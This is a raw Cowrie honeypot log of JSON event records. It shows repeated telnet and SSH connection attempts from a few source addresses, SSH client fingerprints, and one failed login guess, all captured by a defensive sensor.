{"eventid":"cowrie.session.closed","duration":32.280914545059204,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:00.753330Z","src_ip":"23.111.140.22","session":"63c2d639b112","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.307631015777588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:01.072195Z","src_ip":"23.111.140.22","session":"8370e02ca514","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.724557638168335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:02.380002Z","src_ip":"23.111.140.22","session":"352108cbf20f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.019227266311646,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:02.825327Z","src_ip":"23.111.140.22","session":"57b241379c51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.61677885055542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:03.233414Z","src_ip":"23.111.140.22","session":"bc3a77cf4127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6517653465271,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:03.413256Z","src_ip":"23.111.140.22","session":"27808e896239","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.397063732147217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:06.079804Z","src_ip":"23.111.140.22","session":"54dcd8842f18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43678,"dst_ip":"10.17.0.5","dst_port":23,"session":"27f5d13c6b77","protocol":"telnet","message":"New connection: 23.111.140.22:43678 (10.17.0.5:23) [session: 27f5d13c6b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:06.588676Z"}
{"eventid":"cowrie.session.closed","duration":31.848923444747925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:07.702088Z","src_ip":"23.111.140.22","session":"8b6ead4b40e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46694,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4094f3c30e0","protocol":"telnet","message":"New connection: 23.111.140.22:46694 (10.17.0.5:23) [session: f4094f3c30e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:07.724232Z"}
{"eventid":"cowrie.session.closed","duration":30.55946135520935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:08.032635Z","src_ip":"23.111.140.22","session":"1eff24920284","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34504,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc6d5eac9140","protocol":"telnet","message":"New connection: 174.138.46.234:34504 (159.203.135.109:23) [session: dc6d5eac9140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:08.108657Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50826,"dst_ip":"10.17.0.5","dst_port":23,"session":"807d825a06ed","protocol":"telnet","message":"New connection: 23.111.140.22:50826 (10.17.0.5:23) [session: 807d825a06ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:08.179786Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53440,"dst_ip":"10.17.0.5","dst_port":23,"session":"f92c51ca08b8","protocol":"telnet","message":"New connection: 23.111.140.22:53440 (10.17.0.5:23) [session: f92c51ca08b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:09.077020Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34920,"dst_ip":"159.203.135.109","dst_port":23,"session":"207a21454dd0","protocol":"telnet","message":"New connection: 174.138.46.234:34920 (159.203.135.109:23) [session: 207a21454dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:09.467853Z"}
{"eventid":"cowrie.session.closed","duration":39.22533392906189,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:09.596657Z","src_ip":"23.111.140.22","session":"bc66b73e00f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35102,"dst_ip":"159.203.135.109","dst_port":23,"session":"95a489cab15b","protocol":"telnet","message":"New connection: 174.138.46.234:35102 (159.203.135.109:23) [session: 95a489cab15b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:10.967455Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35370,"dst_ip":"159.203.135.109","dst_port":23,"session":"67b4d74e21dd","protocol":"telnet","message":"New connection: 174.138.46.234:35370 (159.203.135.109:23) [session: 67b4d74e21dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:10.988505Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54058,"dst_ip":"10.17.0.5","dst_port":23,"session":"685599a3996f","protocol":"telnet","message":"New connection: 23.111.140.22:54058 (10.17.0.5:23) [session: 685599a3996f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:11.330559Z"}
{"eventid":"cowrie.session.closed","duration":3.9686388969421387,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:12.077182Z","src_ip":"174.138.46.234","session":"dc6d5eac9140","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45364,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea92f035c171","protocol":"telnet","message":"New connection: 23.111.140.22:45364 (10.17.0.5:23) [session: ea92f035c171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:13.314516Z"}
{"eventid":"cowrie.session.closed","duration":30.76838207244873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:14.529523Z","src_ip":"23.111.140.22","session":"d7e43281b77a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36420,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b9fe41997c6","protocol":"telnet","message":"New connection: 174.138.46.234:36420 (159.203.135.109:23) [session: 2b9fe41997c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:14.694648Z"}
{"eventid":"cowrie.session.closed","duration":5.706998348236084,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:15.174569Z","src_ip":"174.138.46.234","session":"207a21454dd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.34524893760681,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:15.306401Z","src_ip":"23.111.140.22","session":"274fd0410483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41240,"dst_ip":"10.17.0.5","dst_port":23,"session":"c23dcbfa2c8b","protocol":"telnet","message":"New connection: 23.111.140.22:41240 (10.17.0.5:23) [session: c23dcbfa2c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:15.570500Z"}
{"eventid":"cowrie.session.closed","duration":5.844778776168823,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:16.833116Z","src_ip":"174.138.46.234","session":"67b4d74e21dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50222,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbf5586980af","protocol":"telnet","message":"New connection: 23.111.140.22:50222 (10.17.0.5:23) [session: dbf5586980af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:17.589389Z"}
{"eventid":"cowrie.session.closed","duration":32.60939645767212,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:17.734242Z","src_ip":"23.111.140.22","session":"9b8d99b3fcfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50774,"dst_ip":"10.17.0.5","dst_port":23,"session":"73639f27f1a2","protocol":"telnet","message":"New connection: 23.111.140.22:50774 (10.17.0.5:23) [session: 73639f27f1a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:17.772080Z"}
{"eventid":"cowrie.session.closed","duration":30.38443660736084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:19.120522Z","src_ip":"23.111.140.22","session":"891d6403323d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.219810247421265,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:19.288533Z","src_ip":"174.138.46.234","session":"76ab85130c85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44352,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dd749513802","protocol":"telnet","message":"New connection: 23.111.140.22:44352 (10.17.0.5:23) [session: 2dd749513802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:19.650118Z"}
{"eventid":"cowrie.session.closed","duration":5.9227752685546875,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:20.617314Z","src_ip":"174.138.46.234","session":"2b9fe41997c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.9731023311615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:21.297150Z","src_ip":"23.111.140.22","session":"29e39cad920b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.238529920578003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:21.557216Z","src_ip":"23.111.140.22","session":"440be1a6edaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56864,"dst_ip":"10.17.0.5","dst_port":23,"session":"e154f92e77f7","protocol":"telnet","message":"New connection: 23.111.140.22:56864 (10.17.0.5:23) [session: e154f92e77f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:21.859847Z"}
{"eventid":"cowrie.session.closed","duration":30.49798893928528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:22.116982Z","src_ip":"23.111.140.22","session":"6de921969e97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35632,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc4b7eae801b","protocol":"telnet","message":"New connection: 23.111.140.22:35632 (10.17.0.5:23) [session: fc4b7eae801b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:23.132128Z"}
{"eventid":"cowrie.session.closed","duration":32.217702865600586,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:23.534900Z","src_ip":"23.111.140.22","session":"80a59a271176","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40068,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4c5d50719c7","protocol":"telnet","message":"New connection: 23.111.140.22:40068 (10.17.0.5:23) [session: d4c5d50719c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:23.669416Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47610,"dst_ip":"10.17.0.5","dst_port":23,"session":"89aead43f0f3","protocol":"telnet","message":"New connection: 23.111.140.22:47610 (10.17.0.5:23) [session: 89aead43f0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:26.210175Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48880,"dst_ip":"10.17.0.5","dst_port":23,"session":"68a72e804a52","protocol":"telnet","message":"New connection: 23.111.140.22:48880 (10.17.0.5:23) [session: 68a72e804a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:26.690422Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55502,"dst_ip":"10.17.0.5","dst_port":23,"session":"156ec988134f","protocol":"telnet","message":"New connection: 23.111.140.22:55502 (10.17.0.5:23) [session: 156ec988134f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:28.812251Z"}
{"eventid":"cowrie.session.closed","duration":32.741164207458496,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:29.122599Z","src_ip":"23.111.140.22","session":"05fbfc0b3a39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.56265830993652,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:29.904847Z","src_ip":"23.111.140.22","session":"dd4b9199eee6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":95.4740617275238,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:31.260440Z","src_ip":"23.111.140.22","session":"69e63b79eaaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.98230171203613,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:31.543181Z","src_ip":"23.111.140.22","session":"4e6b6e4ac601","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36388,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bc3e8c6dcd6","protocol":"telnet","message":"New connection: 23.111.140.22:36388 (10.17.0.5:23) [session: 6bc3e8c6dcd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:31.897652Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36736,"dst_ip":"10.17.0.5","dst_port":23,"session":"40f3ca922d52","protocol":"telnet","message":"New connection: 23.111.140.22:36736 (10.17.0.5:23) [session: 40f3ca922d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:31.978005Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35440,"dst_ip":"10.17.0.5","dst_port":23,"session":"be8682f635d2","protocol":"telnet","message":"New connection: 23.111.140.22:35440 (10.17.0.5:23) [session: be8682f635d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:32.621925Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40696,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c7992345ce6","protocol":"telnet","message":"New connection: 23.111.140.22:40696 (10.17.0.5:23) [session: 5c7992345ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:34.285297Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39362,"dst_ip":"10.17.0.5","dst_port":23,"session":"75a5000e0ca3","protocol":"telnet","message":"New connection: 23.111.140.22:39362 (10.17.0.5:23) [session: 75a5000e0ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:34.819805Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33742,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2df15c8f695","protocol":"telnet","message":"New connection: 23.111.140.22:33742 (10.17.0.5:23) [session: d2df15c8f695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:35.044949Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45056,"dst_ip":"10.17.0.5","dst_port":23,"session":"99049e41cdd4","protocol":"telnet","message":"New connection: 23.111.140.22:45056 (10.17.0.5:23) [session: 99049e41cdd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:35.845535Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":52252,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b0f6e328858","protocol":"ssh","message":"New connection: 202.145.0.61:52252 (10.17.0.5:22) [session: 2b0f6e328858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:36.111505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:36.116613Z","src_ip":"202.145.0.61","session":"2b0f6e328858","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48902,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea8f62f72dee","protocol":"telnet","message":"New connection: 23.111.140.22:48902 (10.17.0.5:23) [session: ea8f62f72dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:36.121758Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:36.348817Z","src_ip":"202.145.0.61","session":"2b0f6e328858","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47860,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ab2ae743757","protocol":"telnet","message":"New connection: 23.111.140.22:47860 (10.17.0.5:23) [session: 3ab2ae743757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:36.796856Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51454,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cdc774be83e","protocol":"telnet","message":"New connection: 23.111.140.22:51454 (10.17.0.5:23) [session: 0cdc774be83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:36.981796Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa134679","message":"login attempt [ubuntu/Aa134679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:37.308716Z","src_ip":"202.145.0.61","session":"2b0f6e328858","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53546,"dst_ip":"10.17.0.5","dst_port":23,"session":"e93bc618c669","protocol":"telnet","message":"New connection: 23.111.140.22:53546 (10.17.0.5:23) [session: e93bc618c669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:37.732411Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53996,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f80d089495b","protocol":"telnet","message":"New connection: 23.111.140.22:53996 (10.17.0.5:23) [session: 2f80d089495b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:37.873202Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:38.542885Z","src_ip":"202.145.0.61","session":"2b0f6e328858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.97459578514099,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:39.698715Z","src_ip":"23.111.140.22","session":"f4094f3c30e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57790,"dst_ip":"10.17.0.5","dst_port":23,"session":"bae0932c2553","protocol":"telnet","message":"New connection: 23.111.140.22:57790 (10.17.0.5:23) [session: bae0932c2553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:40.213017Z"}
{"eventid":"cowrie.session.closed","duration":31.58555793762207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:40.662468Z","src_ip":"23.111.140.22","session":"f92c51ca08b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59810,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cfc9ad6a9a7","protocol":"telnet","message":"New connection: 23.111.140.22:59810 (10.17.0.5:23) [session: 7cfc9ad6a9a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:40.930267Z"}
{"eventid":"cowrie.session.closed","duration":35.24103856086731,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:41.829630Z","src_ip":"23.111.140.22","session":"27f5d13c6b77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.15241050720215,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:42.331985Z","src_ip":"23.111.140.22","session":"807d825a06ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39300,"dst_ip":"10.17.0.5","dst_port":23,"session":"2734eb438e86","protocol":"telnet","message":"New connection: 23.111.140.22:39300 (10.17.0.5:23) [session: 2734eb438e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:42.668613Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":41680,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e93590a6f6d","protocol":"ssh","message":"New connection: 135.235.138.43:41680 (10.17.0.5:22) [session: 4e93590a6f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:42.789618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:42.795125Z","src_ip":"135.235.138.43","session":"4e93590a6f6d","protocol":"ssh"}
